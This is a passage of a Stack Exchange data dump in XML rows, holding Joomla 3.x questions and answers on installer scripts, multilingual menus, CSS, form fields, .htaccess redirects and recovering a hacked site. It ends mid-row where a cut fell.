  <row Id="15648" PostTypeId="1" CreationDate="2016-03-12T01:06:49.600" Score="3" ViewCount="42" Body="&lt;p&gt;I have a package which contains a component and other extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I restrict the user not to install the component directly?  In other words, if the user unzip the package and install the component directly I have to raise an error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible using scriptfile??&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2016-04-11T21:42:23.103" Title="Restrict direct installation of the component" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15649" PostTypeId="2" ParentId="15405" CreationDate="2016-03-12T01:47:09.253" Score="4" Body="&lt;p&gt;Sorry to bump this older question but the accepted response isn't totally correct.  Most everything in JResponse is replaced by a similarly named method call in JApplicationWeb instances (of which the CMS web application classes are).  See &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JResponse.html&quot;&gt;https://api.joomla.org/cms-3/classes/JResponse.html&lt;/a&gt; for more details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;JResponse::allowCache(false);&lt;/code&gt; is replaced by &lt;code&gt;JFactory::getApplication()-&amp;gt;allowCache(false);&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2016-03-12T01:47:09.253" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15650" PostTypeId="2" ParentId="15635" CreationDate="2016-03-12T09:32:45.593" Score="0" Body="&lt;p&gt;There are no details provided behind your link (404 error).&#xA;I just see an old component php-error, maybe because of the Joomla 1.5 code inside. Have a look at the &lt;a href=&quot;https://docs.joomla.org/How_to_determine_if_the_user_is_viewing_the_front_page&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;J!Docs&quot;&gt;Joomla Documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Probablly the developer should review his component again.&lt;/p&gt;&#xA;" OwnerUserId="7714" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-03-12T09:32:45.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15651" PostTypeId="2" ParentId="15639" CreationDate="2016-03-12T09:47:04.520" Score="2" Body="&lt;p&gt;Then write the css by yourself. Normally this class should be integrated in all modern templates, maybe you do use an override for featured and category blog. More details would be needed, for e.g. a link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To separate them with a border write in css (an example, it depends on your html structure)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;article:after {&#xA;  border-bottom:3px solid #ccc;&#xA;}&#xA;.item-separator {&#xA;  width: inherit; &#xA;  height: 10px; &#xA;  border: 3px solid #ccc; &#xA;  display: inline-block;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7714" LastActivityDate="2016-03-12T09:47:04.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15652" PostTypeId="1" AcceptedAnswerId="15656" CreationDate="2016-03-12T12:56:16.263" Score="5" ViewCount="155" Body="&lt;p&gt;I am creating a multilingual joomla site. At the moment I am working on the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In every tutorial / template I see, they have a &quot;Mainmenu&quot; for every language they want to use and then there is a default &quot;Mainmenu&quot; for the language &quot;ALL&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the default-language of my site is english (which also calls the english menu), why do I even need an &quot;ALL&quot;-menu? It's never called anyway, right?&lt;/p&gt;&#xA;" OwnerUserId="7986" LastEditorUserId="3650" LastEditDate="2016-11-13T11:23:46.953" LastActivityDate="2016-11-13T11:23:46.953" Title="Multilingual site: Why do I need the language &quot;all&quot;?" Tags="|joomla-3.x|menu|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15653" PostTypeId="1" AcceptedAnswerId="15655" CreationDate="2016-03-12T15:15:04.447" Score="2" ViewCount="120" Body="&lt;p&gt;I am using a component called mb2portfolio with Joomla 3.4.8 and I'm having difficulties with the skills limit. It seems that the skills limit is set at 12, but I need 25 as the limit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please could someone help me find and increase the skills limit through php or a script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have contacted the original author of the plugin, but there has been no-reply for some time so I thought I would ask here as most of you guys are all on-point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension can be found at &lt;a href=&quot;http://mb2extensions.com/mb2-portfolio&quot; rel=&quot;nofollow&quot;&gt;http://mb2extensions.com/mb2-portfolio&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that I have menu items assigned to all projects and skills and I have 25 skills that need to be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All help much appreciated and if you need any more info please ask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Richard&lt;/p&gt;&#xA;" OwnerUserId="7160" LastEditorUserId="3650" LastEditDate="2016-11-14T21:48:32.387" LastActivityDate="2016-11-14T21:48:32.387" Title="mb2portfolio increase skills limit" Tags="|joomla-3.x|php|joomla-3.4|extensions|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15654" PostTypeId="2" ParentId="15648" CreationDate="2016-03-12T15:19:37.070" Score="2" Body="&lt;p&gt;The problem is that Joomla installer itself unzips the package to install. So, there is no difference between an installation from a manual decompression or from an uploaded file. Only the installer knows if it must continue deleting the uncompressed files or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The only difference that you could detect is the files timestamp. For example, all files are created within ... 2-3 seconds from the current date, then it has been uploaded. With a bigger difference, it must be a manual unzipped package.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-03-12T15:19:37.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15655" PostTypeId="2" ParentId="15653" CreationDate="2016-03-12T16:42:33.893" Score="2" Body="&lt;p&gt;I have just downloaded &lt;code&gt;pkg_mb2portfolio-2.3.1.zip&lt;/code&gt; from &lt;a href=&quot;http://mb2extensions.com/downloads/mb2-portfolio&quot; rel=&quot;nofollow&quot;&gt;http://mb2extensions.com/downloads/mb2-portfolio&lt;/a&gt;, installed it on one of my test sites (because I'm also in search for decent Portfolio extension), and created 25 Skills (skill-01 to skill-25) with no problem. I've created five more, but it doesn't want to show any skill over 25th in &lt;code&gt;Mb2 Portfolio » Skills&lt;/code&gt; menu type, even though they exist and can be assigned to projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that developer heard your cries, and increased skills limit in v2.3.1 to 25 or even more ;-)&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-03-12T17:36:56.750" LastActivityDate="2016-03-12T17:36:56.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15656" PostTypeId="2" ParentId="15652" CreationDate="2016-03-12T16:51:47.300" Score="2" Body="&lt;p&gt;Since version 1.7, Joomla requires Home menu item for 'All' languages, as soon as you enable  System - Language Filter plugin and have Language Switcher module published. That menu item can be stored in any menu other than ones holding Home menu items for specific languages, even in hidden 'Virtual' menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't been able to find precise or official documentation or explanation why is that needed, except that this &lt;strong&gt;'Home - All' item will be visible before a user chooses any language (if a plugin doesn’t force a default language)&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, it's just few clcks more to do, and I really don't need to know EXACTELY why is it needed, as long as multilingual setup works good, which it does ;-)&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-09-15T09:56:57.827" LastActivityDate="2016-09-15T09:56:57.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15658" PostTypeId="2" ParentId="15639" CreationDate="2016-03-12T17:33:44.940" Score="3" Body="&lt;p&gt;From the link you provided it is obvious that in your template there IS NO article-separator HTML element. From the name of your template, 'favourite' I guess it is one of free templates from FavThemes, and it is obviously of not so great quality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, you can quickly add following CSS rule at the end of file&lt;br&gt;&#xA;&lt;code&gt;/templates/favourite/css/template.css&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;article {&lt;br&gt;&#xA;  border-bottom: 1px solid #DDDDDD;&lt;br&gt;&#xA;  padding-bottom: 30px;&lt;br&gt;&#xA;  }&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and adjust it or add any other CSS property to your liking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modifyng &lt;code&gt;template.css&lt;/code&gt; or any other template's CSS file, is generally considered bad idea, because of possibility that changes could be overwritten by future template updates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is why many template vendors have separate &lt;code&gt;custom.css&lt;/code&gt; or &lt;code&gt;user.css&lt;/code&gt; file which is always called last in the line and it does not get overwritten by template updates. Even Joomla's built-in template Protostar will have &lt;code&gt;user.css&lt;/code&gt; from v3.5.0 upwards.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-03-15T11:37:59.277" LastActivityDate="2016-03-15T11:37:59.277" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15659" PostTypeId="2" ParentId="15550" CreationDate="2016-03-12T20:10:58.033" Score="1" Body="&lt;p&gt;This is not exactly what I'm looking for but it's resolved my problem.&#xA;&lt;a href=&quot;https://gist.github.com/heesienooi/de010131dce82685bb0f&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/heesienooi/de010131dce82685bb0f&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2320" LastActivityDate="2016-03-12T20:10:58.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15660" PostTypeId="2" ParentId="15648" CreationDate="2016-03-12T20:55:16.047" Score="2" Body="&lt;p&gt;The workaround I am doing is by adding a session variable in package script file and check that in component script file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the session variable doesnt exist then the component installation will return false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code snippet is as below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Script of package&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class pkg_MyPackInstallerScript {&#xA;  public function preflight($route, JAdapterInstance $adapter){&#xA;    $session = JFactory::getSession();&#xA;    $session-&amp;gt;set('ses_via_package',true);&#xA;  }&#xA;  .....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Script of component&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class com_ComponentInstallerScript {&#xA;&#xA;  public function preflight($route, JAdapterInstance $adapter){&#xA;&#xA;    $session = JFactory::getSession();&#xA;    $from_package = $session-&amp;gt;get('ses_via_package');&#xA;    $session-&amp;gt;clear('ses_via_package');&#xA;&#xA;    if(empty($from_package)){&#xA;      JError::raiseError( xxxx, 'Error message');&#xA;      return false;&#xA;    }&#xA;&#xA;  }&#xA; .....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2016-03-12T20:55:16.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15661" PostTypeId="1" AcceptedAnswerId="18738" CreationDate="2016-03-12T20:58:24.370" Score="3" ViewCount="1325" Body="&lt;p&gt;I'm developing a Joomla component. I created a form which contains a radio list so in the xml form I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;testradio&quot; type=&quot;radio&quot; default=&quot;0&quot; label=&quot;Select an option&quot; description=&quot;&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;0&quot;&amp;gt;Option 0&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;1&quot;&amp;gt;Option 1&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've created an edit view so I can set the value of testradio:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $fields = $this-&amp;gt;form-&amp;gt;getFieldset($group); ?&amp;gt;&#xA;    &amp;lt;?php if (count($fields)) : ?&amp;gt;&#xA;        &amp;lt;?php foreach ($fields as $field) : ?&amp;gt;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;                &amp;lt;?php echo $field-&amp;gt;label; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;?php echo $field-&amp;gt;input; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endforeach;?&amp;gt;&#xA;        &amp;lt;?php endif;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I save the selected radio checkbox in the database.&#xA;Now, I load the content from my database to consult view.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($fields as $field) : ?&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;lt;?php echo $field-&amp;gt;value; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endforeach;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It displays &quot;0&quot; (in the case I chose Option 0) and I would like to show &quot;Option 0&quot;. Is there a standard way to display the option text instead of the option value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally I extended the JFormFieldRadio and added a method to get this value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getOptionText($value) {     &#xA;    foreach ($this-&amp;gt;element-&amp;gt;option as $option) {&#xA;        $optvalue = (string)$option['value'];&#xA;        if ($optvalue === $value)&#xA;            return (string)$option;&#xA;    }       &#xA;    return '';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="1615" LastEditDate="2016-03-13T15:01:59.810" LastActivityDate="2016-12-31T09:32:21.870" Title="How to display the selected radio value in Joomla (3.x)?" Tags="|joomla-3.x|form-fields-types|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15662" PostTypeId="2" ParentId="15661" CreationDate="2016-03-12T23:31:23.747" Score="0" Body="&lt;p&gt;In you foreach statement add a conditional that checks against your $field-&gt;input and outputs what you want instead. Example below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(strpos($field-&amp;gt;label,'My Radio Group') !== false){?&amp;gt;&#xA;    &amp;lt;?php echo 'Option '.$field-&amp;gt;value;?&amp;gt;&#xA;&amp;lt;?php }else{?&amp;gt;&#xA;    &amp;lt;?php echo $field-&amp;gt;value;?&amp;gt;&#xA;&amp;lt;?php }?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just understand that doing it this way will cause your data value to be submitted back to your controller as &quot;Option 0&quot;, you will need to therefore override your controller's save method to strip that &quot;Option &quot; string back out of the posted radio group value.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-03-12T23:31:23.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15663" PostTypeId="1" AcceptedAnswerId="15685" CreationDate="2016-03-13T07:44:35.683" Score="0" ViewCount="700" Body="&lt;p&gt;What options does the &lt;a href=&quot;https://docs.joomla.org/API17:JModelForm::loadForm&quot; rel=&quot;nofollow noreferrer&quot;&gt;JModelForm::loadForm&lt;/a&gt; method expect in its' $options array parameter.&lt;/p&gt;&#xA;&lt;p&gt;So far I have found that it expects&#xA;'control' =&amp;gt; $var&#xA;and&#xA;'load_data' =&amp;gt; $var&#xA;When I came accross this SO question: &lt;a href=&quot;https://stackoverflow.com/questions/27314306/jformgetinstance-could-not-load-file&quot;&gt;JForm::getInstance could not load file&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Are there any more parameters that it will expect, I cannot find them listed anywhere.&lt;/p&gt;&#xA;" OwnerUserId="7962" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-03-14T21:37:40.793" Title="What options does JModelAdmin method loadForm expect in the $options parameter?" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15664" PostTypeId="1" CreationDate="2016-03-13T09:22:41.123" Score="2" ViewCount="515" Body="&lt;p&gt;I was tasked to edit an article in Joomla which embed a Google maps plugin.I want to show two specific users below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TLfKM.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TLfKM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;during mouse hover like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://lawrencetractor.com/Departments/Sales/Sales-Rep-Map.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;google maps&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea on this? I already embed the Google maps plugin using this short code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;p&amp;gt;{mosmap labeltext='H'| zoom='15'| overview='2'| text='&amp;lt;/p&amp;gt;&#xA; &amp;lt;div style=&quot;width: 200px;&quot;&amp;gt;Home&amp;lt;/div&amp;gt;&#xA; &amp;lt;p&amp;gt;'| marker='0'}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I have no idea how to achieve like the one in the link above&lt;/p&gt;&#xA;" OwnerUserId="7988" LastActivityDate="2016-03-19T01:00:23.617" Title="Google maps Joomla 3.x.x" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15665" PostTypeId="2" ParentId="15664" CreationDate="2016-03-13T09:58:47.840" Score="2" Body="&lt;p&gt;By the syntax &lt;code&gt;{mosmap}&lt;/code&gt; used in articles, it seems that the plugin you used on that site is &lt;a href=&quot;http://extensions.joomla.org/extension/google-maps-by-reumer&quot; rel=&quot;nofollow&quot;&gt;Google Maps by Reumer&lt;/a&gt;, which is crucial to answering your question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is very well written extension with numerous options (literally hundreds of them) and &lt;strong&gt;it is quite impossible to give you exact answer unless someone actually tested all of them&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily, plugin is also very well documented on the following links: &lt;a href=&quot;http://www.mapsplugin.com/Google-Maps/Documentation-of-plugin-Googlemap/welcome.html&quot; rel=&quot;nofollow&quot;&gt;Plugin Home page&lt;/a&gt; and &lt;a href=&quot;http://www.mapsplugin.com/Google-Maps/Documentation-of-plugin-Googlemap/&quot; rel=&quot;nofollow&quot;&gt;Documentation of plugin Googlemap&lt;/a&gt;, and you should focus on finding and testing options used for &lt;code&gt;marker&lt;/code&gt; and &lt;code&gt;text&lt;/code&gt; parameters used in article, and configured in plugin's admin options.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-03-13T11:16:08.363" LastActivityDate="2016-03-13T11:16:08.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15666" PostTypeId="2" ParentId="10980" CreationDate="2016-03-13T12:05:16.440" Score="2" Body="&lt;p&gt;Hi Check your data base xxx_module must assign AUTO_INCREMENT STATUS, after it will be ok!&lt;/p&gt;&#xA;" OwnerUserId="7989" LastActivityDate="2016-03-13T12:05:16.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15668" PostTypeId="1" CreationDate="2016-03-13T21:45:18.193" Score="2" ViewCount="852" Body="&lt;p&gt;One of my sites was hacked the day after I got the notice that there was a vulnerability with 3.4.6. Sitelock cleaned it (this particular site is on Bluehost). They told me I was good to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since then I have been unable to log out properly. When I click logout I am returned to the control panel; click logout again get invalid security token error; try to access another function, it returns to the login screen. If I try to log in again, I can't. Nothing happens. I need to wait about 15 minutes before I can log in again and the same thing happens when I try to logout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm worried that if I'm not fully logged out, the site is left open to another attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if maybe more than the malicious code was removed when the site was cleaned. Maybe there are some core Joomla files related to logging out that need to be reinstalled -- but I have no clue which they might be, where to look, or how to reinstall them. Not sure what else it could be. &lt;/p&gt;&#xA;" OwnerUserId="7980" LastActivityDate="2019-09-07T08:56:08.407" Title="Administrator logout not logging out" Tags="|joomla-3.x|administrator|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15669" PostTypeId="2" ParentId="15668" CreationDate="2016-03-13T22:45:27.453" Score="1" Body="&lt;p&gt;I recommend the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;backup your website using Akeeba Backup or similar (as a precaution)&lt;/li&gt;&#xA;&lt;li&gt;install or reinstall the latest stable update package (currently Joomla_3.4.8-Stable-Update_Package.zip) via Extensions -&gt; Manage -&gt; Install -&gt; Upload Package File (this should be safe to do assuming there are no core hacks on your website)&lt;/li&gt;&#xA;&lt;li&gt;reinstall the latest versions of all the third party extensions installed on the website (you can reinstall over the top of most extensions without losing settings and this will replace any compromised files with the originals)&lt;/li&gt;&#xA;&lt;li&gt;review the contents of your .htaccess file for any malicious code&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the issue is still not resolved, consider switching from Sitelock to &lt;a href=&quot;https://sucuri.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sucuri&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru&quot; rel=&quot;nofollow noreferrer&quot;&gt;mysites.guru&lt;/a&gt; (formerly myjoomla.com) which will likely do a better job of detecting and cleaning any malware on a Joomla website.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-09-07T08:56:08.407" LastActivityDate="2019-09-07T08:56:08.407" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15671" PostTypeId="2" ParentId="15668" CreationDate="2016-03-14T05:11:09.343" Score="2" Body="&lt;p&gt;The invalid token problem generally arises due to session problem. Check the following parameter configuration file: &lt;code&gt;$session_handler&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;This parameter must be set to &lt;code&gt;database&lt;/code&gt;. Sometimes it is set to &lt;code&gt;none&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;li&gt;Clear &lt;code&gt;#__session&lt;/code&gt; table and try logging in again.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And yes, if you suspect any malicious code then use the websites already mentioned.&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-03-14T05:11:09.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15672" PostTypeId="1" CreationDate="2016-03-14T06:28:10.327" Score="2" ViewCount="449" Body="&lt;p&gt;How can I set Smart Search to search as exact phrase by default? I've noticed that most of our users expect &quot;exact phrase&quot; behaviour rather than &quot;this AND that&quot; behaviour when they type into the Smart Search module, and are disappointed by the results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when a user types the following into the search box:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;freedom of speech&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;what they actually mean (but never actually type) is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;freedom of speech&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They are then disappointed by results that contain the words &quot;freedom&quot;, &quot;of&quot; and &quot;speech&quot; individually. I would like to set Smart Search to &quot;exact phrase&quot; behaviour by default. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have ideas on how to do this?&lt;/p&gt;&#xA;" OwnerUserId="7993" LastActivityDate="2016-06-02T21:09:04.283" Title="Joomla 2.5 Smart Search - search as exact phrase by default" Tags="|joomla-2.5|smartsearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15673" PostTypeId="1" AcceptedAnswerId="15680" CreationDate="2016-03-14T06:31:46.683" Score="4" ViewCount="609" Body="&lt;p&gt;I have Joomla site with native language system and my site looks like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;www.mydomain.pl&lt;/li&gt;&#xA;&lt;li&gt;www.mydomain.pl/en/&lt;/li&gt;&#xA;&lt;li&gt;www.mydomain.pl/de/&lt;/li&gt;&#xA;&lt;li&gt;www.mydomain.pl/se/&lt;/li&gt;&#xA;&lt;li&gt;www.mydomain.pl/dk/&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have domain www.mydomain.se and www.mydomain.dk&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I rewrite my links as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;www.mydomain.pl/se/ to www.mydomain.se&lt;/li&gt;&#xA;&lt;li&gt;www.mydomain.pl/dk/ to www.mydomain.dk&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6884" LastEditorUserId="3650" LastEditDate="2016-12-05T21:20:19.620" LastActivityDate="2016-12-05T21:20:19.620" Title="Multilingual Joomla site with multiple domains" Tags="|joomla-3.x|url|.htaccess-configuration|multilingual|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15674" PostTypeId="2" ParentId="15673" CreationDate="2016-03-14T10:38:13.350" Score="2" Body="&lt;p&gt;Try adding the following to your &lt;code&gt;.htaccess&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteRule ^se(.*)$ http://www.mydomain.se$1 [R=301,L]&#xA;RewriteRule ^dk(.*)$ http://www.mydomain.dk$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you only have a &lt;code&gt;htaccess.txt&lt;/code&gt; file, please rename it to &lt;code&gt;.htaccess&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-03-14T10:38:13.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15676" PostTypeId="1" AcceptedAnswerId="17893" CreationDate="2016-03-14T12:28:04.210" Score="1" ViewCount="712" Body="&lt;p&gt;I recently create a custom component with &lt;a href=&quot;http://component-creator.com/&quot; rel=&quot;nofollow&quot;&gt;Component Creator&lt;/a&gt;, and I have a form in admin area that uploads file...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't upload files with same name it's going to replace the previous file, now I want to rename the file on upload not moving them is the best idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to rename a file on upload, I've used the &lt;code&gt;save()&lt;/code&gt; function in my component controller but it didn't work.&lt;/p&gt;&#xA;" OwnerUserId="7995" LastEditorUserId="1629" LastEditDate="2016-03-14T22:14:06.970" LastActivityDate="2019-05-24T11:08:12.887" Title="how to rename file on upload custom component joomla 3" Tags="|component|mvc|file-upload|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="15677" PostTypeId="1" CreationDate="2016-03-14T12:37:12.693" Score="1" ViewCount="3600" Body="&lt;p&gt;I have an array of image file names which i want to compare against a table in my DB, if the filename is not present then i want to insert it. I have started work on the insert statement, so i will come back to this later. What i am looking for is some help with the code which will check if it exists, then leads on to the insert statement? Below is the code used to build the array, would i be best to include the code to check then insert the data in here, or build a foreach loop which takes each item from the array and checks it? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Create an array of all images that are Jpgs and start with 'n'&#xA;if ($dir = opendir($uploads))&#xA;{&#xA;  $images = array();&#xA;&#xA;  foreach (glob($uploads.&quot;*.{jpg,jpeg,JPG,JPEG}&quot;, GLOB_BRACE) as $filename)&#xA;  {&#xA;    $f = str_replace($uploads, null, $filename);&#xA;    if (strtolower($f[0]) == 'n')&#xA;    {&#xA;      $images[] = $f;&#xA;    }&#xA;  }&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you for your ongoing support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Donna&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Thank you @Lodder for your code. I have tried to implement it with my existing code but it seems to fail at the assignment of the $values variable. I have checked and 